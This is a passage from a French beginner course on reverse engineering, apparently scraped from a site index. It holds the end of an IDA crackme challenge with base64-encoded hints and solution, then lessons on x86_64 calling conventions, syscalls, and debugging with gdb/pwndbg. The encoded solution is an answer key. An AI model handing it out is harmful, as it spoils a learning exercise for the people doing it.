Afin de nous familiariser avec IDA, quoi de mieux qu’un bon petit challenge !Ce challenge est un crackme, il faudra donc trouver la bonne entrée pour le valider. Le challenge n’est ni trivial ni trop compliqué, il suffit d’y aller étape par étape en mettant en place un stratégie d’analyse.Vous pouvez télécharger le challenge ici : challenge. Si vous rencontrez un programme dans le téléchargement ou exécution du challenge, n’hésitez pas à nous contacter à l’adresse : reverse_zip[At]proton.me.Quelques conseils (à prendre ou à laisser 🥹) : 👀 L’analyse statique est amplement suffisante pour réussir le challenge. ✍️ N’hésitez pas à utiliser des feuilles de brouillon, faire des schéma au fur et à mesure que vous avancez. 💻 Lorsque vous ne comprenez pas certaines opérations dans le code décompilé, il peut être intéressant de le reproduire en C, Python ou autre. 📄 Ne vous reposez pas seulement sur le code décompilé. Vous trouverez des mots clés utilisés par le décompilateur d’IDA qui sont liés au code assembleur utilisé. 🪜Afin de ne pas s’y perdre, il vaut mieux y aller étape par étape. 💡Plusieurs indices sont proposés afin de vous aider si vous vous sentez bloqués. Toutefois, les indices sont à consommer avec modération ! 🤔 Il est possible qu’en avançant de fil en aiguille, que vous découvriez de nouvelles instructions, notions ou opérations dont on a pas encore parlé pour l’instant. Pas de panique ! C’est justement l’occasion d’apprendre à chercher des informations car en reverse, il arrive très souvent de tomber nez à nez face à de nouvelles notions qu’il faudra assimiler pour avancer dans l’analyse. Et puis, c’est ce qui fait le charme du reverse : apprendre de nouvelles choses et ce, de manière ludique !💡 Les indices💡 Indice n°1UXUnYXR0ZW5kIGxlIHByb2dyYW1tZSBlbiBlbnRyw6llID8gCkNvbW1lbnQgZmFpdC1pbCwgZ3Jvc3NvIG1vZG8sIHBvdXIgdsOpcmlmaWVyIGwnZW50csOpZSA/IApRdWVsbGVzIHNvbnQgbGVzIGNvbnRyYWludGVzIHN1ciBsJ2VudHLDqWUgPyAKQ29tbWVudCBsZSBwcm9ncmFtbWUgZXN0LWlsIHN0cnVjdHVyw6kgPw==💡 Indice n°2aHR0cHM6Ly9mci53aWtpcGVkaWEub3JnL3dpa2kvRmljaGllcjpBU0NJSS1UYWJsZS5zdmcKaHR0cHM6Ly9mci53aWtpcGVkaWEub3JnL3dpa2kvRm9uY3Rpb25fT1VfZXhjbHVzaWY=💡 Indice n°3QXR0ZW50aW9uIGF1eCBjb252ZXJzaW9ucyBldCB0YWlsbGVzIGRlcyBkb25uw6llcyAhIEwnYXNzZW1ibGV1ciBwZXV0IGNvbnRlbmlyIGRlcyBpbmZvcm1hdGlvbnMgZGlmZmljaWxlbWVudCB2aXNpYmxlcyBkYW5zIGxhIGZlbsOqdHJlIGRlIGTDqWNvbXBpbGF0aW9uLg==💡 Indice n°4RGVzIGRlc3NpbnMsIGRlcyBkZXNzaW5zIGV0IGVuY29yZSBkZXMgZGVzc2lucyAhCgpBZmluIGRlIGJpZW4gbWHDrnRyaXNlciBsZXMgZMOpcGxhY2VtZW50IGRlIGJpdHMvb2N0ZXRzIGV0IGxldXIgbWFuaXB1bGF0aW9uLCBuJ2jDqXNpdGV6IHBhcyDDoCBmYWlyZSBkZXMgc2Now6ltYXMgc3VyIGZldWlsbGUgb3UgZGUgc2ltcGxlcyB0ZXN0cyBlbiBQeXRob24gYWZpbiBkZSB2w6lyaWZpZXIgcXVlIHZvdXMgYXZleiBiaWVuIGNvbXByaXMgY29tbWVudCBjZWxhIGZvbmN0aW9ubmUu🎯 La solutionVkVkRloyTXlPWE5rV0ZKd1lqSTBaMXBZVGpCSlJHOW5aRVpXWms1R1RtWlpNVWt3VTNwT2VRPT0=" }, { "title": "Partie 17 - Les programmes 64 bits", "url": "/posts/introduction_au_reverse_partie_17/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-14 08:00:00 -0200", "snippet": "Les programmes 64 bitsBon, c’est vrai que ça fait déjà pas mal de chapitres que l’on a faits ensemble, il est enfin temps d’en toucher quelques mots.Les principales différencesPremièrement, voyons ...", "content": "Les programmes 64 bitsBon, c’est vrai que ça fait déjà pas mal de chapitres que l’on a faits ensemble, il est enfin temps d’en toucher quelques mots.Les principales différencesPremièrement, voyons sont les principales différences entre un programme 32 bits (x86) et un programme 64 bits (dit x86_64, amd64 ou x64) : Il y a plus de registres : x86 : eax,ebx,ecx,edx,esp,ebp,esi,edi,eip … x86_64 : rax,rbx,rcx,rdx,rsp,rbp,rsi,rdi,rip,r8, r9, r10, r11, r12, r13, r14, r15… La taille des registres en 64 bits est de … 64 bits (merci Sherlock 🕵️‍♂️). Les registres peuvent donc désormais contenir un qword. La taille des registres ayant augmenté, il est possible d’accéder à un espace mémoire bien plus élevé : x86 : 4Go (~ 4⁹ octets) x86_64 : 16Eo (~ 18¹⁸ octets 🥵) Les conventions d’appel sont différentes vu qu’en x86_64 il y a plus de registres disponibles : x86 : les arguments sont principalement passés via la pile x86_64 : les arguments sont principalement passés par les registres En raison de tailles de registres plus importantes, les programmes 64 bits sont souvent plus rapides que les programmes 32 bits. De nouvelles instructions ont été introduites en x86_64 telles que movabs ou syscall.🤙 Les conventions d’appel Les conventions de quoi 😳 ?Les conventions d’appel sont les règles qui régissent les appels et retour de fonction. Elles stipulent notamment la manière dont les arguments sont passés (ex : par la pile).Elle permet également de stipuler qui est en charge de “vider” la pile lorsqu’une fonction a fini son exécution : est-ce à la fonction appelante ou appelée de faire cela ?⤴️ La valeur de retourCommençons par le plus simple : où est stockée la valeur de retour ? C’est plutôt clair : x86 : la valeur de retour est stockée dans eax x86_64 : la valeur de retour est stockée dans raxVoilà 🤓 !Le passage des argumentsEn ce qui concerne le passage des arguments, cela s’opère différemment. En effet, le fait d’utiliser la pile s’est avéré utile car la logique derrière n’était pas très compliquée : on empile les arguments un à un et la fonction appelée sait exactement où les trouver (pour rappel : en dessous de l’adresse de retour).Néanmoins le soucis d’utiliser le pile est que … celle-ci se trouve en mémoire. Cela signifie qu’à chaque fois que l’on souhaite appeler une fonction il faut : empiler les arguments, et donc écrire en mémoire récupérer les arguments, et donc lire en mémoireOr, comme vous le savez, les accès mémoire pour le processeur sont bien plus lents que les accès aux registres situés dans le processeur. Ainsi, les nouvelles conventions d’appel 64 bits sont venues proposer une manière plus efficace de passer les arguments, tout simplement : utiliser les registres.Cependant, il n’existe pas une seule manière de transmettre des arguments via des registres : cela dépend de l’architecture et du niveau de privilège (user land / kernel land). Pour faire simple, la mémoire virtuelle d’un ordinateur est séparée en deux parties : le user land et le kernel land. Le user land contient tous les processus “basiques” que l’on utilise tous les jours : le navigateur, vos programmes compilés, votre éditeur de texte … Le kernel land, quant à lui, contient tous les processus nécessitant une exécution avec un niveau de privilège élevé. Cela inclut donc tous les programmes réalisant des actions sensibles comme la gestion de la mémoire, la lecture et écriture dans votre disque dur / ssd etc. De tels programmes sont appelés pilotes, drivers (Windows) ou modules kernel (Linux). Evidemment, le kernel land contient également le noyau (kernel) de votre OS étant donné le niveau de privilège élevé requis d’un grand nombre d’actions réalisées par ce dernier.Au sein d’une même architecture, il peut y avoir plusieurs conventions d’appel, c’est pour cela qu’elles ont un nom : cdecl, stdcall, fastcall. On comprend enfin ce que signifient ces mots clés dans IDA :Les noms de ces conventions d’appel nous permettent de savoir, sans regarder l’assembleur, comment les arguments sont passés.Listons ci-dessous les principales conventions d’appel. Les registres sont affichés dans l’ordre des arguments : le premier registre correspond au premier paramètre et ainsi de suite.Linux Architecture Convention d’appel Stockage des arguments Qui rétablit la pile ? x86 cdecl Pile La fonction appelante x86 fastcall ecx, edx puis la pile La fonction appelée x86 stdcall Pile La fonction appelée x86_64 cdecl rdi, rsi, rdx, rcx, r8, r9 puis la pile La fonction appelante Windows Architecture Convention d’appel Stockage des arguments Qui rétablit la pile ? x86 cdecl Pile La fonction appelante x86 stdcall Pile La fonction appelée x86 fastcall ecx, edx puis la pile La fonction appelée x86 thiscall (C++) ecx (pour this) puis la pile La fonction appelée x86_64 stdcall, thiscall, cdecl, et fastcall rcx, rdx, r8, r9 puis la pile La fonction appelante En mode 64 bits, que ce soit pour Linux ou Windows, la convention d’appel utilisée pour le user land est la même que celle utilisée en kernel land.Comme vous pouvez le constater, sous Windows, plusieurs noms de conventions d’appel aboutissent au même résultat. En fait, en 64 bits, le compilateur ignore tout simplement ces mots-clés.Généralement sous Linux, il n’ y a pas trop de soucis entre les conventions d’appel car il n’y en a pas tant que ça qui sont utilisées à part cdecl. Par contre, sous Windows en 32 bits, il faut rester vigilant sur la convention d’appel utilisée.Pour rappel, IDA indique la convention d’appel utilisée dans la signature de la fonction. Apprendre le tableau par cœur n’est pas indispensable mais il convient de se rappeler qu’en x86, c’est principalement la pile qui est utilisée contrairement aux programmes 64 bits. Connaître les conventions d’appel x86_64 sous Linux et Windows peut être utile car on a tendance à s’emmêler les pinceaux d’une convention à l’autre.Comparaison x86 et x86_64Je vous propose d’utiliser le programme suivant pour analyser la manière dont les arguments sont transmis :int fun(int a, int b, int c, int d) { return (a+b) - (c*d); } int main() { fun(0xa,0xb,0xc,0xd); return 1; }Pour la compilation : en 32 bits : gcc -m32 main.c -o exe_32 en 64 bits : gcc main.c -o exe_64En ouvrant les deux programmes dans IDA, on obtient ceci :Nous constatons deux différences : Evidemment, la transmission des arguments n’est pas effectuée de la même manière. En 32 bits, tout est en envoyé sur la pile. En 64 bits, comme nous sommes sous Linux, les registres utilisés sont : edi, esi, edx, ecx. Lorsque la pile a été utilisée, c’est la fonction appelante, ici main, qui gère le rétablissement de la pile.La différence de performancesPour vous convaincre du gain de performance d’un programme 64 bits par rapport à un programme 32 bits, je vous propose de compiler et exécuter ce programme dans les deux versions :#include &lt;stdio.h&gt; #include &lt;time.h&gt; unsigned long long operation(unsigned long long a, unsigned long long b, unsigned long long c, unsigned long long d) { unsigned long long result = 0; result += (a * b) + (c - d); return result; } int main() { clock_t start, end; double cpu_time_used; start = clock(); unsigned long long res = 0; for (int i = 0; i &lt; 1000000000; ++i) { res += operation(i, 10*i, 150*i+10, 2000*i+3); } end = clock(); cpu_time_used = ((double)(end - start)) / CLOCKS_PER_SEC; printf(\"Temps CPU : %f secondes\\n\", cpu_time_used); return 0; } Le temps d’exécution est de l’ordre d’une dizaine de secondes normalement.En les compilant puis en les exécutant, on constate que le programme 64 bits a été deux fois plus rapide que le programme 32 bits 😎." }, { "title": "Partie 18 - Le user land et kernel land", "url": "/posts/introduction_au_reverse_partie_18/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-13 08:00:00 -0200", "snippet": "Le user land et kernel landVous vous êtes toujours demandé la différence entre le noyau de votre OS, un programme lambda et un pilote ?Ça tombe bien ! Nous allons tenter de comprendre comment inter...", "content": "Le user land et kernel landVous vous êtes toujours demandé la différence entre le noyau de votre OS, un programme lambda et un pilote ?Ça tombe bien ! Nous allons tenter de comprendre comment interagissent ces différents composant d’un système d’exploitation. L’idée est que vous puissiez avoir une vision globale de l’interaction entre le user land et kernel land sans pour autant entrer dans les détails du kernel land.D’ailleurs, vous le saviez, vous, que le kernel Linux était un fichier ELF et que le kernel Windows était un fichier PE 😲 ? Sous linux, le kernel se trouve ici : /boot/vmlinuz-$(uname -r). Vous pouvez suivre les étapes indiquées ici afin de constater par vous-même que le kernel n’est finalement qu’un fichier ELF 🙃. Sous Windows, le kernel est normalement présent ici : C:\\Windows\\System32\\ntoskrnl.exe.Les appels système (ou syscalls)Nous n’allons pas nous attarder sur le kernel land en termes de reverse car il est nécessaire d’être très à l’aise en rétro-ingénierie et d’avoir des connaissances avancées concernant le fonctionnement su kernel land et ce n’est pas forcément un chapitre qu’il convient d’entamer dans un cours d’introduction au reverse.Néanmoins, il y a une fonctionnalité que vous risquez de rencontrer et qui est à la limite du user land et du kernel land : les appels système (ou syscalls).Derrière ce nom alambiqué se cache une solution à une problématique relativement simple.La problématiqueVoici comment on pourrait représenter la mémoire du PC à un instant T (sous Linux mais sous Windows le principe et plus ou moins le même) :Nous pouvons distinguer 3 parties : Le user land : c’est la partie visible de l’iceberg, celle à laquelle on est confrontés tous les jours : navigateur, terminal, programme compilé, serveur web et j’en passe. Le hardware : il s’agit du matériel et périphérique que l’on branche à un ordinateur, qui peuvent être essentiels (RAM, Disque dur / SSD …) ou non (imprimante, carte graphique dédiée, souris, clavier, ethernet …). Le kernel land : l’accès au matériel et périphériques étant beaucoup trop sensible ( exemple : risque de sabotage du Disque dur si mal utilisé), il n’est pas possible de laisser n’importe quel programme en user land y accéder. Il faut donc que des programmes bien spécifiques, appelés pilotes, modules ou drivers opèrent ce délicat travail . Le kernel land contient le kernel (noyau, merci Sherlock 🕵️‍♂️) de l’OS. Le noyau est chargé de faire un tas de choses dont : l’ordonnancement, la gestion de la mémoire physique et virtuelle … Ok je comprends bien, donc les pilotes gèrent les accès au hardware afin que tout se passe bien, jusque-là, c’est ok. Mais comment fait un programme en user land, par exemple mon navigateur, pour se connecter à internet s’il n’a pas directement accès à la carte réseau WiFi / Ethernet 🤔 ?C’est justement LA problématique susmentionnée à laquelle les appels système vont nous permettre de répondre : comment interagir avec des composants ou fonctionnalité bas niveau à partir du user land ?Un appel système, comment ça marche ?Premièrement voici une manière de représenter l’utilité des appels système dans le précédent schéma :Les appels systèmes vont jouer le rôle d’interface entre le user land et le kernel land.Les syscalls sont des fonctions prédéfinies présentes dans le kernel lui même. La liste des syscalls (sous Linux) est disponible dans le fichier include/linux/syscalls.h.Si on y jette un œil, au vu des noms de fonctions qui sont assez explicites, on constate qu’il y a des fonctions de gestion de fichiers (sys_read, sys_write, sys_open, sys_close … ) de gestion de mémoire (sys_mmap, sys_mprotect, sys_munmap …) et bien d’autres. Par abus de langage, on parle souvent de syscall read pour parler de sys_read, write pour sys_write etc.Vous remarquerez que beaucoup de ces noms de fonctions ressemblent tout simplement à des fonctions de la libc (read, write, mmap …). D’ailleurs, les fonctions associées dans la libc ne sont “que” des surcouches (wrappers) aux appels système idoines.Quoi ? Vous ne me croyez pas 😞 ? Alors voici un exemple avec la fonction read :#include &lt;unistd.h&gt; #include &lt;stdio.h&gt; int main() { char buff[20]; read(0,buff,10); return 1; }Compilons-le en statique afin de pouvoir voir le contenu de read … en analyse statique : gcc -static main.c -o exe.Si vous ouvrez le programme dans IDA et allez dans read, vous verrez cela :En assembleur, le syscall est réalisé avec l’instruction syscall (merci Sherlock 🕵️‍♂️) : En fait, l’instruction syscall n’est disponible qu’en x86_64. Ainsi, pour réaliser un appel système en x86, c’est plutôt l’instruction (plus précisément, interruption) int 0x80 qui est utilisée. Il y a une convention d’appel à respecter lorsque l’on souhaite réaliser un appel système. Par exemple mettre le numéro du syscall dans eax/rax. Néanmoins, comme nous n’allons pas nous attaquer au reverse kernel land, il n’est pas nécessaire de nous y attarder.Convaincus maintenant 😏 ?En somme, un appel système est une fonction prédéfinie du kernel que l’on peut appeler depuis le user land. Le kernel se débrouille ensuite pour utiliser les bons modules/pilotes afin de satisfaire la demande (lecture de l’entrée standard, allocation de mémoire, écriture dans un fichier …).Si vous souhaitez comprendre davantage le fonctionnement des appels système, cet article est fait pour vous. Il est rédigé en anglais mais permet de comprendre les aspects techniques sous-jacents lors d’un syscall. Dans le précédent schéma, tous les syscall finissent dans le kernel. N’est-il pas possible d’interagir aussi avec les différents pilotes en kernel land ?Il est effectivement possible d’interagir avec des drivers avec un appel système bien précis sous Linux : ioctl (et DeviceIoControl sous Windows).L’explication et le fonctionnement de ce syscall sortent du cadre de ce cours et puis, de toute manière, on ne le voit pas très souvent quand on débute en reverse, sauf éventuellement dans des programmes qui nécessitent d’échanger des données avec certains pilotes. Cela peut être le cas, par exemple, des programmes système. Si vous êtes également intéressés au sujet de la gestion des interruptions, voici un petit résumé qui en parle : les interruptions." }, { "title": "Partie 19 - L'analyse dynamique - le débogueur (1/4)", "url": "/posts/introduction_au_reverse_partie_19/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-12 08:00:00 -0200", "snippet": "L’analyse dynamique - le débogueur (1/4)Jusqu’à présent, pour faire le reverse de programmes, nous nous sommes limités à l’analyse des instructions désassemblées et du code décompilé. D’ailleurs, j...", "content": "L’analyse dynamique - le débogueur (1/4)Jusqu’à présent, pour faire le reverse de programmes, nous nous sommes limités à l’analyse des instructions désassemblées et du code décompilé. D’ailleurs, j’espère que l’utilisation du décompilateur ne vous a pas fait oublier vos notions d’assembleur car nous allons en avoir grand besoin 😅 !Le débogueur (ou debugger 🇬🇧) est un outil qui permet de contrôler et gérer l’exécution d’un programme.L’utilisation d’un débogueur nous permet notamment de : Exécuter un programme pas à pas Analyser le contenu des registres à chaque instruction Mettre des points d’arrêt Modifier le cours d’exécution d’un processus en modifiant à la main la valeur de certains registres (dont eip/rip) Inspecter la mémoire Observer les threads et processusgdb : le débogueur GNUAfin de faire de l’analyse dynamique, il va falloir que l’on se dote d’un débogueur. Je vous propose d’utiliser gdb qui est l’un de debuggers les plus utilisés sous Linux.GDB dispose notamment d’un grand avantage et d’un grand inconvénient : ✅ Avantage : Il peut s’utiliser en ligne de commande ❌ Inconvénient : Il s’utilise en ligne de commandeEn réalité, le fait de pouvoir l’utiliser en ligne de commande permet plus de flexibilité : plus rapide à lancer, utilisation dans un conteneur docker, modification des paramètres lors du lancement …En revanche, cela implique certaines limitations : pas possible d’utiliser des raccourcis clavier pour réaliser certaines tâches répétitives, pas d’onglets ergonomiques d’affichage de la mémoire … Vous constaterez qu’à fur et à mesure d’utiliser différents outils, on finit par tirer avantage de leurs atouts et on tente de faire abstraction des principaux défauts. L’idée étant de chercher la bonne synergie et complémentarité entre les outils. La preuve : on découvre souvent, après avoir appris à utiliser gdb en CLI que quelques projets GUI existent, mais finalement on ne les utilise par car on est plus efficaces en ligne de commande et on ne voit plus d’intérêt à l’utiliser en mode GUI.Comment fonctionne un débogueur ?Le débogueur offre un cadre d’exécution au programme débogué. De cette manière, il va pouvoir accéder à pas mal d’informations concernant l’exécution du processus :Si on devait faire une analogie avec le monde réelle, ce serait l’équivalent d’une électrocardiographie où plusieurs capteurs nous permettent de récupérer en temps réel plusieurs informations sur le fonctionnement et l’état du cœur d’un patient :De manière sous-jacente, gdb utilise principalement la fonction ptrace pour récupérer les informations d’un processus débogué. En réalité, ptrace est un wrapper du syscall du même nom, vous vous rappelez, ces fonctions sensibles qui sont exécutées en kernel land.Comme on ne souhaite pas que le débogueur manipule à sa guise un processus, ce qui serait beaucoup trop risqué, il passe par ptrace afin que l’OS lui permette d’interagir avec le processus analysé. D’ailleurs, il n’est pas très compliqué de développer un débogueur une fois que l’on a compris tout ce que ptrace permet de faire. Si vous souhaitez avoir un aperçu de ce que propose ptrace comme fonctionnalités, vous pouvez simplement consulter son manuel avec man ptrace." }, { "title": "Partie 20 - L'analyse dynamique - débogage d'un programme (2/4)", "url": "/posts/introduction_au_reverse_partie_20/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-11 08:00:00 -0200", "snippet": "L’analyse dynamique : débogage d’un programme (2/4)Et si on laissait la théorie de côté un instant et que l’on mettait la main à la pâte, ça vous dit ? Dans ce chapitre nous allons découvrir de no...", "content": "L’analyse dynamique : débogage d’un programme (2/4)Et si on laissait la théorie de côté un instant et que l’on mettait la main à la pâte, ça vous dit ? Dans ce chapitre nous allons découvrir de nombreuses commandes propres à gdb, je vous propose de les noter dans un coin (feuille de brouillon, notes …), cela vous sera très utile quand vous déboguerez un programme de votre côté. Dans tous les cas, elles sont présentes dans les annexes de ce cours.Tout d’abord, si ce n’est pas déjà le cas, installez gdb. Pour les distros debian like : sudo apt install gdb. Je vous propose également d’installer l’extension pwndbg.En effet, la version gdb de base, bien que fonctionnelle, n’est pas du tout ergonomique : il faut toujours afficher les registres soit même les instructions autour de l’instruction en cours d’exécution ne sont pas affichées et puis, ça manque de couleurs de tout ça !Ainsi, pwndbg va nous faciliter la vie et nous permettre d’aller plus vite. Pour installer pwndbg il suffit de suivre les instructions d’installation sur leur dépôt GitHub. Il ne faut pas confondre pwndbg et pwngdb qui sont deux extensions différentes de gdb. Il est possible d’utiliser les deux en même temps afin d’avoir plus de fonctionnalités mais il semblerait que pwngdb ne soit pas assez à jour pour être utilisé avec pwndbg actuellement. Si vous trouver une manière d’installer les deux dans leur version récente, je suis preneur 😅 !Une fois l’installation terminée, nous pouvons faire joujou avec notre nouveau jouet.Je vous propose de tester gdb avec le programme suivant :#include \"stdio.h\"int calcul(int a, int b, int c) { return a + b*c; } int main() { int a = 1; int b = 2; int c = 3; calcul(a,b,c); a = 4; b = 5; c = 6; calcul(a,b,c); a = 7; b = 8; c = 9; calcul(a,b,c); puts(\"Travail terminééééé !\"); return 0; }Compilons-le avec gcc main.c -o exe.Démarrage du débogagePour commencer à déboguer notre programme fraîchement compilé, il suffit de lancer gdb ./exe. Vous devriez avoir quelque chose qui ressemble à ceci : Ok mais où est notre programme débogué ? Je le vois nulle part ! 😴C’est normal ! A ce stade, gdb est à peine lancé et a lu les différents symboles (noms de fonctions, variables globales …) présents dans le programme.Nous pouvons lancer l’exécution du programme débogué avec la commande run. Si un programme accepte des arguments via argv, il est possible de les spécifier lors de la commande run. Exemple : run arg1 arg2On obtient ceci :Notre programme s’est bien exécuté ! C’est un blague ! Tu nous as dit qu’on allait pouvoir lire la valeur des registres, inspecter la mémoire etc. mais on a eu rien de tout ça ! On aurait eu exactement le même résultat en l’exécutant normalement 😠 !Alors effectivement exécuter un programme d’une traite dans gdb n’est pas ce qu’il y a de plus intéressant. Commençons donc à voir ce qu’il propose afin de comprendre en quoi l’analyse dynamique est très utile.🔴 Les points d’arrêtLes points d’arrêt (ou breakpoints 🇬🇧) sont des marqueurs placés sur certaines instructions (plus précisément sur l’adresse de l’instruction). Lorsque le processus atteindra l’instruction sur laquelle il y a un point d’arrêt (rip == addr_marquée ), gdb va suspendre l’exécution du programme. Cela nous permet ensuite de pouvoir analyser pas mal de choses.Il existe principalement deux types de breakpoints : Les hardware breakpoints (points d’arrêts matériels) Les software breakpoints (points d’arrêts logiciels)Le point commun entre les deux est que lorsque le processus arrivera à un point d’arrêt, matériel ou non, l’exécution sera stoppée. La différence entre les deux est la manière dont ils sont implémentés.Pour faire simple : Les points d’arrêt logiciels sont implémentés via l’insertion artificielle d’une instruction permettant stopper l’exécution du programme. En x86, cette instruction est l’interruption int 3 dont l’opcode est 0xcc. Les points d’arrêt matériels sont implémentés via des registres du processeur dédiés à cet effet : DR0, DR1, DR2 … Ainsi, nul besoin d’insérer une instruction dans le code.Dans le cas d’un programme protégé (crackme, malware, programme propriétaire, jeu vidéo …), il est plus facile de détecter les points d’arrêt logiciels (en raison de l’insertion de int 3) que les matériels (mais pas impossible !). Ainsi, si vous pensez que le programme que vous analysez est protégé, il vaut mieux commencer par utiliser des points d’arrêt matériels avant d’utiliser les points d’arrêt logiciels. Astuce gdb : La commande hb *0xaddr (hardware breakpoint) permet d’insérer un point d’arrêt matériel à l’adresse 0xaddr .Le souci des hardware breakpoints est qu’il y en a un nombre limité (car il y a un nombre limité de registres de débogage) et que tous les processeurs ne supportent pas cette fonctionnalité. En revanche, les softwares breakpoints, en veux-tu en voilà ! Dans la suite de cours, par souci de concision, le terme point d’arrêt (breakpoint) désignera un point d’arrêt logiciel.L’insertion de points d’arrêtsNous pouvons utiliser le raccourcis b nom_de_fonction de gdb afin d’insérer un point d’arrêt au niveau de la première instruction de la fonction ci celle-ci dispose d’un symbole. Astuce gdb : Pour les fonctions dont le symbole n’est pas disponible (ex: programme strippé), il est possible d’utiliser l’adresse de la fonction : b *0x401020. Notez bien l’astérisque avant l’adresse. Elle est indispensable lorsque l’on utilise des adresses sinon gdb ne va pas aimer du tout. En temps normal, si un programme est PIE, l’adresse du main changera à chaque exécution à cause de l’ASLR. Heureusement pwndbg désactive automatiquement l’ASLR à chaque fois que l’on ouvre gdb. Vous pouvez activer l’ALSR avec la commande : set disable-randomization off.Cette fois-ci, avant de lancer l’exécution, mettons un point d’arrêt sur la fonction main afin de stopper l’exécution une fois arrivés à sa première instruction : Astuce gdb : Vous pouvez utiliser i b (pour info breakpoints) afin de lister les points d’arrêts du programme. Cela est très utile pour s’y retrouver. Chaque point d’arrêt ayant un numéro unique, il sera affiché dans cette commande. Astuce gdb : Pour supprimer un point d’arrêt vous pouvez utiliser d N (pour delete N) afin de supprimer le breakpoint numéro N.Le point d’arrêt est en place, lançons le programme avec run et là …Comprendre l’interface de gdb (pwndbg)Alors oui, de prime abord cela peut paraître surprenant mais vous verrez que ce sont des informations très utiles ! Essayons de les décortiquer ensemble. Point d’arrêt déclenché : le numéro du point d’arrêt atteint et l’adresse à laquelle l’exécution du processus a été arrêtée. Registres : la liste des principaux registres. Quand le registre contient une adresse (pointeur) valide, gdb la déréférence et ainsi de suite. Par exemple, ici, rsi contient char **argv, c’est pourquoi on a rsi = argv -&gt; &amp;argv[0] -&gt; chemin_du_programme. Prochaine instruction exécutée : le nom est explicite. Nous verrons plus tard comment exécuter des instructions pas à pas. Instructions suivantes désassemblées : il s’agit des instructions suivantes qui peuvent être exécutée. C’est plutôt sympa qu’elles soient désassemblées et affichées directement, cela nous permet de nous situer plus facilement dans le code. Premières valeurs de la pile : ça peut être pratique d’avoir les premières valeurs sous le nez, notamment pour y lire les arguments lorsqu’ils sont transmis de cette manière (ex : x86). Trace d’appels : si vous vous rappelez du chapitre sur la pile, vous devriez vous souvenir que lors de l’appel d’une fonction, une stack frame est mise en place afin de gérer les variables locales de la fonction appelée ainsi que le retour de fonction vers la fonction appelante. En l’occurrence, dans cet endroit vous avez les différents appels de fonctions qui ont précédés l’appel à main.Vous remarquerez, si vous jetez un œil à la deuxième ligne, que pwndbg utilise un code couleur ma foi très utile pour savoir où se situe et ce que contient une adresse ou zone mémoire. Astuce gdb : Vous pouvez lister les zones mémoire mappées avec la commande libs.Avancer dans un processus dans gdbParfois, l’utilisation des breakpoints ne suffit pas à analyser correctement le comportement d’un programme. Il faut alors une granularité d’exécution encore plus fine. Ça tombe bien, gdb nous permet d’exécuter pas à pas un programme, c’est-à-dire instruction par instruction.Cela est très utile pour diverses raisons : Comprendre ce que fait une instruction Voir les registres modifiés par une instruction Dans le cas de sauts dynamiques (ex : call rax), voir où l’on risque de sauter après l’exécution de l’instruction Voir laquelle des deux branches va être prise lors d’un saut (ex : jz 0x405030)Tout d’abord, il y a une instruction très utile lorsque l’on souhaite charger en mémoire un programme dans gdb sans commencer à l’exécuter. Astuce gdb : L’instruction starti permet de charger le programme en mémoire et de s’arrêter à la première instruction de ce dernier, sans l’exécuter.Cette commande est très utile pour charger le programme et voir où est chargé le programme (et donc l’adresse du main) via la commande libs. Si vous n’arrivez pas à comprendre ce que représentent les premières lignes de ce qu’affiche libs, je vous invite à jeter un œil au chapitre Les segments et sections que l’on a vu à la page 3 (ou autour) pour vous rafraîchir la mémoire 😊.Je vous propose de quitter gdb puis rouvrir exe dans gdb et lancer starti. Astuce gdb : Vous pouvez quitter gdb avec les commandes quit ou exit. De manière plus rapide, vous pouvez utiliser Ctrl+D.Normalement vous devriez avoir plus ou moins ceci avec la commande libs (tronqué):🔄 Synchroniser gdb et IDAJ’en profite un instant pour vous partager une astuce pour ne pas avoir de soucis de “désynchronisation” entre les adresses utilisées par IDA et celle dans gdb.En ouvrant le programme exe dans IDA on voit que la fonction main est à l’adresse 0x116A (peut différer chez vous) alors que dans gdb elle est à l’adresse 0x55555555516a : Nous verrons un peu plus tard en détails comment afficher des valeurs, pointeurs, registres dans gdb. Comment faire alors pour les adresses affichées dans gdb et IDA concordent ?Une solution est la suivante : rebaser notre programme dans IDA en utilisant la base de gdb. Ce que l’on entend par base est l’adresse de base (merci Sherlock 🕵️‍♂️) à laquelle est chargé le programme. Il s’agit de la première adresse affichée par libs, dans mon cas c’est 0x555555554000.En effet, comme le programme est PIE, l’adresse de chaque instruction n’est en fait qu’un offset par rapport à l’adresse de base du programme (plus précisément du segment de code). Astuce IDA : Une fois que vous avez trouvé l’adresse de base de votre programme, il suffit, dans IDA, d’aller dans Edit ➡️ Segments ➡️ Rebase program puis saisir l’adresse de base trouvée dans gdb avec libs et cliquer sur Ok. Tadaaa ! Les adresses des instructions, fonctions etc. sont désormais les mêmes !Cette astuce vous sera très utile lorsque vous manipulerez des programme PIE strippés et que vous ne pourrez plus vous contenter d’un simple b main pour mettre un point d’arrêt sur le main 😎.👣 Avancer pas à pas dans un processusIl existe différentes manière d’avancer dans l’exécution d’un programme dans gdb, parmi celles-ci il y a : avancer d’une instruction avancer jusqu’à rencontrer un point d’arrêt avancer jusqu’à sortir de la fonction courante⏯️ Avancer d’une instruction Astuce gdb : Pour exécuter l’instruction courante et s’arrêter à la prochaine, il est possible d’utiliser si ou ni (pour step instruction et next isntruction). La différence entre les deux est que lors de l’appel d’une fonction, ni exécute la fonction jusqu’au retour alors que si entre dans la fonction et s’arrête à la première instruction.En utilisant si, il est possible d’exécuter pas à pas le programme et voir les registres modifiés qui sont alors affichés en rouge 🔴 alors que ceux qui n’ont pas été modifiés depuis sont affichés en blanc ⚪. Astuce gdb : Le fait de saisir à chaque fois si pour avancer d’une instruction peut être fastidieux 😤. Vous pouvez spammer utiliser la touche Entrée dans le terminal gdb afin de ré-exécuter la dernière commande que vous avez lancée précédemment.⏭️ Avancer jusqu’au prochain point d’arrêtQuand un programme est volumineux ou que certaines boucles ou fonctions sont longues, avancer instruction par instruction se révèle beaucoup trop long. Il est alors possible de mettre un point d’arrêt vers l’adresse que l’on souhaite atteindre et poursuivre l’exécution jusqu’à celle-ci. Astuce gdb : Vous pouvez utiliser la commande c (ou continue) pour poursuivre l’exécution du processus jusqu’à arriver à un point d’arrêt. Lorsque vous mettez un point d’arrêt sur une adresse en vue de vous y arrêter en lançant c, il se peut que le point d’arrêt ne soit pas atteint auquel cas le programme termine (ou fasse autre chose). 